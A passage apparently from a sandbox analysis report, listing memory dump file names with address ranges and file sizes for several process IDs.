                                                          • memory/2068-284-0x00007FFD60D40000-0x00007FFD60D4D000-memory.dmp

                                                            Filesize

                                                            52KB

                                                          • memory/2068-283-0x00007FFD5C430000-0x00007FFD5C444000-memory.dmp

                                                            Filesize

                                                            80KB

                                                          • memory/2068-282-0x00007FFD507E0000-0x00007FFD50B55000-memory.dmp

                                                            Filesize

                                                            3.5MB

                                                          • memory/2068-281-0x00007FFD5BE20000-0x00007FFD5BED8000-memory.dmp

                                                            Filesize

                                                            736KB

                                                          • memory/2068-280-0x00007FFD5C450000-0x00007FFD5C47E000-memory.dmp

                                                            Filesize

                                                            184KB

                                                          • memory/2068-279-0x00007FFD60FB0000-0x00007FFD60FBD000-memory.dmp

                                                            Filesize

                                                            52KB

                                                          • memory/2068-278-0x00007FFD5C480000-0x00007FFD5C499000-memory.dmp

                                                            Filesize

                                                            100KB

                                                          • memory/2068-277-0x00007FFD5C4A0000-0x00007FFD5C60F000-memory.dmp

                                                            Filesize

                                                            1.4MB

                                                          • memory/2068-276-0x00007FFD5F720000-0x00007FFD5F743000-memory.dmp

                                                            Filesize

                                                            140KB

                                                          • memory/2068-275-0x00007FFD5FDC0000-0x00007FFD5FDD9000-memory.dmp

                                                            Filesize

                                                            100KB

                                                          • memory/2068-274-0x00007FFD600D0000-0x00007FFD600FD000-memory.dmp

                                                            Filesize

                                                            180KB

                                                          • memory/2068-273-0x00007FFD67A90000-0x00007FFD67A9F000-memory.dmp

                                                            Filesize

                                                            60KB

                                                          • memory/2432-84-0x00007FFD4F823000-0x00007FFD4F825000-memory.dmp

                                                            Filesize

                                                            8KB

                                                          • memory/3044-174-0x0000016562FA0000-0x0000016562FA8000-memory.dmp

                                                            Filesize

                                                            32KB